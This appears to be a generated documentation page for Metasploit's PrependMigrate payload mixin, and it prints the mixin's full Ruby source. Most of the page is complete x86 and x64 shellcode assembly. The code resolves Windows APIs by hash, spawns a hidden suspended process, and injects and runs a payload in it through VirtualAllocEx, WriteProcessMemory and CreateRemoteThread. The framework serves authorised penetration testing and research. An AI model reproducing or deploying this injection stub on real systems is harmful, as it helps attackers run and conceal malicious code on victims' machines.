Module: Msf::Payload::Windows::PrependMigrate

Included in:
Msf::Payload::Windows
Defined in:
lib/msf/core/payload/windows/prepend_migrate.rb

Overview

This mixin provides support for generating PrependMigrate blocks for Windows payloads

Instance Method Summary collapse

Instance Method Details

#initialize(info = {}) ⇒ Object

Initialize


13
14
15
16
17
18
19
20
21
22
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 13

def initialize(info = {})
  ret = super( info )

  register_advanced_options(
    [
      Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]),
      Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ])
    ], Msf::Payload::Windows )
  ret
end

#prepend_migrate(buf) ⇒ Object

Create assembly


58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 58

def prepend_migrate(buf)
  payloadsize = "0x%04x" % buf.length
  procname = datastore['PrependMigrateProc'] || 'rundll32'

  # Prepare instructions to get address of block_api into ebp
  block_api_start = "call start\n"
  block_api_asm = "api_call:\npushad                    ; We preserve all the registers for the caller, bar EAX and ECX.\nmov ebp, esp              ; Create a new stack frame\nxor edx, edx              ; Zero EDX\nmov edx, [fs:edx+48]      ; Get a pointer to the PEB\nmov edx, [edx+12]         ; Get PEB->Ldr\nmov edx, [edx+20]         ; Get the first module from the InMemoryOrder module list\nnext_mod:                   ;\nmov esi, [edx+40]         ; Get pointer to modules name (unicode string)\nmovzx ecx, word [edx+38]  ; Set ECX to the length we want to check\nxor edi, edi              ; Clear EDI which will store the hash of the module name\nloop_modname:               ;\nxor eax, eax              ; Clear EAX\nlodsb                     ; Read in the next byte of the name\ncmp al, 'a'               ; Some versions of Windows use lower case module names\njl not_lowercase          ;\nsub al, 0x20              ; If so normalise to uppercase\nnot_lowercase:              ;\nror edi, 13               ; Rotate right our hash value\nadd edi, eax              ; Add the next byte of the name\nloop loop_modname         ; Loop untill we have read enough\n\n; We now have the module hash computed\npush edx                  ; Save the current position in the module list for later\npush edi                  ; Save the current module hash for later\n; Proceed to iterate the export address table\nmov edx, [edx+16]         ; Get this modules base address\nmov eax, [edx+60]         ; Get PE header\n\n; use ecx as our EAT pointer here so we can take advantage of jecxz.\nmov ecx, [eax+edx+120]    ; Get the EAT from the PE header\njecxz get_next_mod1       ; If no EAT present, process the next module\nadd ecx, edx              ; Add the modules base address\npush ecx                  ; Save the current modules EAT\nmov ebx, [ecx+32]         ; Get the rva of the function names\nadd ebx, edx              ; Add the modules base address\nmov ecx, [ecx+24]         ; Get the number of function names\n; now ecx returns to its regularly scheduled counter duties\n\n; Computing the module hash + function hash\nget_next_func:              ;\njecxz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module\ndec ecx                   ; Decrement the function name counter\nmov esi, [ebx+ecx*4]      ; Get rva of next module name\nadd esi, edx              ; Add the modules base address\nxor edi, edi              ; Clear EDI which will store the hash of the function name\n; And compare it to the one we want\nloop_funcname:              ;\nxor eax, eax              ; Clear EAX\nlodsb                     ; Read in the next byte of the ASCII function name\nror edi, 13               ; Rotate right our hash value\nadd edi, eax              ; Add the next byte of the name\ncmp al, ah                ; Compare AL (the next byte from the name) to AH (null)\njne loop_funcname         ; If we have not reached the null terminator, continue\nadd edi, [ebp-8]          ; Add the current module hash to the function hash\ncmp edi, [ebp+36]         ; Compare the hash to the one we are searchnig for\njnz get_next_func         ; Go compute the next function hash if we have not found it\n\n; If found, fix up stack, call the function and then value else compute the next one...\npop eax                   ; Restore the current modules EAT\nmov ebx, [eax+36]         ; Get the ordinal table rva\nadd ebx, edx              ; Add the modules base address\nmov cx, [ebx+2*ecx]       ; Get the desired functions ordinal\nmov ebx, [eax+28]         ; Get the function addresses table rva\nadd ebx, edx              ; Add the modules base address\nmov eax, [ebx+4*ecx]      ; Get the desired functions RVA\nadd eax, edx              ; Add the modules base address to get the functions actual VA\n; We now fix up the stack and perform the call to the desired function...\nfinish:\nmov [esp+36], eax         ; Overwrite the old EAX value with the desired api address for the upcoming popad\npop ebx                   ; Clear off the current modules hash\npop ebx                   ; Clear off the current position in the module list\npopad                     ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered\npop ecx                   ; Pop off the origional return address our caller will have pushed\npop edx                   ; Pop off the hash value our caller will have pushed\npush ecx                  ; Push back the correct return value\njmp eax                   ; Jump into the required function\n; We now automagically return to the correct caller...\n\nget_next_mod:               ;\npop eax                   ; Pop off the current (now the previous) modules EAT\nget_next_mod1:              ;\npop edi                   ; Pop off the current (now the previous) modules hash\npop edx                   ; Restore our position in the module list\nmov edx, [edx]            ; Get the next module\njmp.i8 next_mod           ; Process this module\n;--------------------------------------------------------------------------------------\n"

  # Prepare default exit block (sleep for a long long time)
  exitblock = ";sleep\npush -1\npush 0xE035F044           ; hash( \"kernel32.dll\", \"Sleep\" )\ncall ebp                  ; Sleep( ... );\n"

  # Check to see if we can find exitfunc in the payload
  exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" +
          "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5")
  if exitfunc_index
    exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
    exitblock = "exitblock:\njmp $+#{exitblock_offset}"
  end

  block_api_ebp_asm = "pop ebp                   ; Pop off the address of 'api_call' for calling later.\n"
  block_close_to_payload = ''

  # Check if we can find block_api in the payload
  block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string
  block_api_index = buf.index(block_api)
  if block_api_index

    # Prepare instructions to calculate address
    ebp_offset = "0x%04x" % (block_api_index + 5)
    block_api_ebp_asm = "jmp close_to_payload\nreturn_from_close_to_payload:\npop ebp\nadd ebp, \#{ebp_offset}\n"
    # Clear now-unneeded instructions
    block_api_asm = ''
    block_api_start = ''
    block_close_to_payload = "close_to_payload:\ncall return_from_close_to_payload\n"
  end

  #put all pieces together
  migrate_asm = "cld                       ; Clear the direction flag.\n\#{block_api_start}\n\#{block_api_asm}\nstart:\n\#{block_api_ebp_asm}\n; get our own startupinfo at esp+0x60\nadd esp,-400              ; adjust the stack to avoid corruption\nlea edx,[esp+0x60]\npush edx\npush 0xB16B4AB1           ; hash( \"kernel32.dll\", \"GetStartupInfoA\" )\ncall ebp                  ; GetStartupInfoA( &si );\n\nlea eax,[esp+0x60]        ; Put startupinfo pointer back in eax\n\njmp getcommand\ngotcommand:\npop esi                   ; esi = address of process name (command line)\n\n; create the process\nlea edi,[eax+0x60]        ; Offset of empty space for lpProcessInformation\npush edi                  ; lpProcessInformation : write processinfo here\npush eax                  ; lpStartupInfo : current info (read)\nxor ebx,ebx\npush ebx                  ; lpCurrentDirectory\npush ebx                  ; lpEnvironment\npush 0x08000004           ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED\npush ebx                  ; bInHeritHandles\npush ebx                  ; lpThreadAttributes\npush ebx                  ; lpProcessAttributes\npush esi                  ; lpCommandLine\npush ebx                  ; lpApplicationName\n\npush 0x863FCC79           ; hash( \"kernel32.dll\", \"CreateProcessA\" )\ncall ebp                  ; CreateProcessA( &si );\n\n; if we didn't get a new process, use this one\ntest eax,eax\njz payload                ; If process creation failed, jump to shellcode\n\ngoodProcess:\n; allocate memory in the process (VirtualAllocEx())\n; get handle\npush 0x40                 ; RWX\nadd bh,0x10               ; ebx = 0x1000\npush ebx                  ; MEM_COMMIT\npush ebx                  ; size\nxor ebx,ebx\npush ebx                  ; address\npush [edi]                ; handle\npush 0x3F9287AE           ; hash( \"kernel32.dll\", \"VirtualAllocEx\" )\ncall ebp                  ; VirtualAllocEx( ...);\n\n; eax now contains the destination\n; WriteProcessMemory()\npush esp                  ; lpNumberOfBytesWritten\npush \#{payloadsize}       ; nSize\n; pick up pointer to shellcode & keep it on stack\njmp begin_of_payload\nbegin_of_payload_return:  ; lpBuffer\npush eax                  ; lpBaseAddress\npush [edi]                ; hProcess\npush 0xE7BDD8C5           ; hash( \"kernel32.dll\", \"WriteProcessMemory\" )\ncall ebp                  ; WriteProcessMemory( ...)\n\n; run the code (CreateRemoteThread())\npush ebx                  ; lpthreadID\npush ebx                  ; run immediately\npush ebx                  ; no parameter\nmov ecx,[esp-0x4]\npush ecx                  ; shellcode\npush ebx                  ; stacksize\npush ebx                  ; lpThreadAttributes\npush [edi]\npush 0x799AACC6           ; hash( \"kernel32.dll\", \"CreateRemoteThread\" )\ncall ebp                  ; CreateRemoteThread( ...);\n\n\#{exitblock}              ; jmp to exitfunc or long sleep\n\ngetcommand:\ncall gotcommand\ndb \"\#{procname}\"\ndb 0x00\n\#{block_close_to_payload}\nbegin_of_payload:\ncall begin_of_payload_return\npayload:\n"
  migrate_asm
end

#prepend_migrate?Boolean

Returns the state of the PrependMigrate option See github.com/rapid7/metasploit-framework/pull/917 for discussion.


29
30
31
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 29

def prepend_migrate?
  !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
end

#prepend_migrate_64(buf) ⇒ Object


292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 292

def prepend_migrate_64(buf)
  payloadsize = "0x%04x" % buf.length
  procname = datastore['PrependMigrateProc'] || 'rundll32'

  # Prepare instructions to get address of block_api into ebp
  block_api_start = "call start\n"
  block_api_asm = "api_call:\npush r9                  ; Save the 4th parameter\npush r8                  ; Save the 3rd parameter\npush rdx                 ; Save the 2nd parameter\npush rcx                 ; Save the 1st parameter\npush rsi                 ; Save RSI\nxor rdx, rdx             ; Zero rdx\nmov rdx, [gs:rdx+96]     ; Get a pointer to the PEB\nmov rdx, [rdx+24]        ; Get PEB->Ldr\nmov rdx, [rdx+32]        ; Get the first module from the InMemoryOrder module list\nnext_mod:                  ;\nmov rsi, [rdx+80]        ; Get pointer to modules name (unicode string)\nmovzx rcx, word [rdx+74] ; Set rcx to the length we want to check\nxor r9, r9               ; Clear r9 which will store the hash of the module name\nloop_modname:              ;\nxor rax, rax             ; Clear rax\nlodsb                    ; Read in the next byte of the name\ncmp al, 'a'              ; Some versions of Windows use lower case module names\njl not_lowercase         ;\nsub al, 0x20             ; If so normalise to uppercase\nnot_lowercase:             ;\nror r9d, 13              ; Rotate right our hash value\nadd r9d, eax             ; Add the next byte of the name\nloop loop_modname        ; Loop untill we have read enough\n; We now have the module hash computed\npush rdx                 ; Save the current position in the module list for later\npush r9                  ; Save the current module hash for later\n; Proceed to itterate the export address table\nmov rdx, [rdx+32]        ; Get this modules base address\nmov eax, dword [rdx+60]  ; Get PE header\nadd rax, rdx             ; Add the modules base address\nmov eax, dword [rax+136] ; Get export tables RVA\ntest rax, rax            ; Test if no export address table is present\njz get_next_mod1         ; If no EAT present, process the next module\nadd rax, rdx             ; Add the modules base address\npush rax                 ; Save the current modules EAT\nmov ecx, dword [rax+24]  ; Get the number of function names\nmov r8d, dword [rax+32]  ; Get the rva of the function names\nadd r8, rdx              ; Add the modules base address\n; Computing the module hash + function hash\nget_next_func:             ;\njecxz get_next_mod       ; When we reach the start of the EAT (we search backwards), process the next module\ndec rcx                  ; Decrement the function name counter\nmov esi, dword [r8+rcx*4]; Get rva of next module name\nadd rsi, rdx             ; Add the modules base address\nxor r9, r9               ; Clear r9 which will store the hash of the function name\n; And compare it to the one we want\nloop_funcname:             ;\nxor rax, rax             ; Clear rax\nlodsb                    ; Read in the next byte of the ASCII function name\nror r9d, 13              ; Rotate right our hash value\nadd r9d, eax             ; Add the next byte of the name\ncmp al, ah               ; Compare AL (the next byte from the name) to AH (null)\njne loop_funcname        ; If we have not reached the null terminator, continue\nadd r9, [rsp+8]          ; Add the current module hash to the function hash\ncmp r9d, r10d            ; Compare the hash to the one we are searchnig for\njnz get_next_func        ; Go compute the next function hash if we have not found it\n; If found, fix up stack, call the function and then value else compute the next one...\npop rax                  ; Restore the current modules EAT\nmov r8d, dword [rax+36]  ; Get the ordinal table rva\nadd r8, rdx              ; Add the modules base address\nmov cx, [r8+2*rcx]       ; Get the desired functions ordinal\nmov r8d, dword [rax+28]  ; Get the function addresses table rva\nadd r8, rdx              ; Add the modules base address\nmov eax, dword [r8+4*rcx]; Get the desired functions RVA\nadd rax, rdx             ; Add the modules base address to get the functions actual VA\n; We now fix up the stack and perform the call to the drsired function...\nfinish:\npop r8                   ; Clear off the current modules hash\npop r8                   ; Clear off the current position in the module list\npop rsi                  ; Restore RSI\npop rcx                  ; Restore the 1st parameter\npop rdx                  ; Restore the 2nd parameter\npop r8                   ; Restore the 3rd parameter\npop r9                   ; Restore the 4th parameter\npop r10                  ; pop off the return address\nsub rsp, 32              ; reserve space for the four register params (4 * sizeof(QWORD) = 32)\n; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).\npush r10                 ; push back the return address\njmp rax                  ; Jump into the required function\n; We now automagically return to the correct caller...\nget_next_mod:              ;\npop rax                  ; Pop off the current (now the previous) modules EAT\nget_next_mod1:             ;\npop r9                   ; Pop off the current (now the previous) modules hash\npop rdx                  ; Restore our position in the module list\nmov rdx, [rdx]           ; Get the next module\njmp next_mod             ; Process this module\n"

  # Prepare default exit block (sleep for a long long time)
  exitblock = ";sleep\nxor rcx,rcx\ndec rcx                   ; rcx = -1\nmov r10d, 0xE035F044      ; hash( \"kernel32.dll\", \"Sleep\" )\ncall rbp                  ; Sleep( ... );\n"

  # Check to see if we can find x64 exitfunc in the payload
  exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" +
      "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5")
  if exitfunc_index
    exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
    exitblock = "exitblock:\njmp $+#{exitblock_offset}"
  end

  block_api_rbp_asm = "pop rbp                   ; Pop off the address of 'api_call' for calling later.\n"
  block_close_to_payload = ''

  # Check if we can find block_api in the payload
  block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string
  block_api_index = buf.index(block_api)
  if block_api_index

    # Prepare instructions to calculate address
    rbp_offset = "0x%04x" % (block_api_index + 5)
    block_api_rbp_asm = "jmp close_to_payload\nreturn_from_close_to_payload:\npop rbp\nadd rbp, \#{rbp_offset}\n"
    # Clear now-unneeded instructions
    block_api_asm = ''
    block_api_start = ''
    block_close_to_payload = "close_to_payload:\ncall return_from_close_to_payload\n"
  end

  #put all pieces together
  migrate_asm = "cld                       ; Clear the direction flag.\n\#{block_api_start}\n\#{block_api_asm}\nstart:\n\#{block_api_rbp_asm}\n; get our own startupinfo at esp+0x60\nadd rsp,-400              ; adjust the stack to avoid corruption\nlea rcx,[rsp+0x30]\nmov r10d, 0xB16B4AB1      ; hash( \"kernel32.dll\", \"GetStartupInfoA\" )\ncall rbp                  ; GetStartupInfoA( &si );\n\njmp getcommand\ngotcommand:\npop rsi                   ; rsi = address of process name (command line)\n\n; create the process\nlea rdi,[rsp+0x110]       ; Offset of empty space for lpProcessInformation\npush rdi                  ; lpProcessInformation : write processinfo here\nlea rcx,[rsp+0x58]\npush rcx                  ; lpStartupInfo : current info (read)\nxor rcx,rcx\npush rcx                  ; lpCurrentDirectory\npush rcx                  ; lpEnvironment\npush 0x08000004           ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED\npush rcx                  ; bInHeritHandles\nmov r9, rcx               ; lpThreadAttributes\nmov r8, rcx               ; lpProcessAttributes\nmov rdx, rsi              ; lpCommandLine\n; rcx is already zero     ; lpApplicationName\nmov r10d, 0x863FCC79      ; hash( \"kernel32.dll\", \"CreateProcessA\" )\ncall rbp                  ; CreateProcessA( &si );\n\n; if we didn't get a new process, use this one\ntest rax,rax\njz payload                ; If process creation failed, jump to shellcode\n\ngoodProcess:\n; allocate memory in the process (VirtualAllocEx())\n; get handle\npush 0x40                 ; RWX\nmov r9,0x1000             ; 0x1000 = MEM_COMMIT\nmov r8,r9                 ; size\nxor rdx,rdx               ; address\nmov rcx, [rdi]            ; handle\nmov r10d, 0x3F9287AE      ; hash( \"kernel32.dll\", \"VirtualAllocEx\" )\ncall rbp                  ; VirtualAllocEx( ...);\n\n; eax now contains the destination - save in ebx\nmov rbx, rax              ; lpBaseAddress\n; WriteProcessMemory()\npush rsp                  ; lpNumberOfBytesWritten\nmov r9, \#{payloadsize}    ; nSize\n; pick up pointer to shellcode & keep it on stack\njmp begin_of_payload\nbegin_of_payload_return:\npop r8                    ; lpBuffer\nmov rdx, rax              ; lpBaseAddress\nmov rcx, [rdi]            ; hProcess\nmov r10d, 0xE7BDD8C5      ; hash( \"kernel32.dll\", \"WriteProcessMemory\" )\ncall rbp                  ; WriteProcessMemory( ...);\n\n; run the code (CreateRemoteThread())\nxor rcx, rcx              ; rdx = 0\npush rcx                  ; lpthreadID\npush rcx                  ; run immediately\npush rcx                  ; no parameter\nmov r9,rbx                ; shellcode\nmov r8, rcx               ; stacksize\n;rdx already equals 0     ; lpThreadAttributes\nmov rcx, [rdi]\nmov r10d, 0x799AACC6      ; hash( \"kernel32.dll\", \"CreateRemoteThread\" )\ncall rbp                  ; CreateRemoteThread( ...);\n\n\#{exitblock}              ; jmp to exitfunc or long sleep\n\ngetcommand:\ncall gotcommand\ndb \"\#{procname}\"\ndb 0x00\n\#{block_close_to_payload}\nbegin_of_payload:\ncall begin_of_payload_return\npayload:\n"
  migrate_asm
end

#prepends(buf) ⇒ Object

Overload the generate() call to prefix our stubs


36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 36

def prepends(buf)
  pre = ''

  test_arch = [ *(self.arch) ]

  if prepend_migrate?
    # Handle all x86 code here
    if test_arch.include?(ARCH_X86)
      migrate_asm = prepend_migrate(buf)
      pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
    # Handle all x64 code here
    elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
      migrate_asm = prepend_migrate_64(buf)
      pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
    end
  end
  return pre + buf
end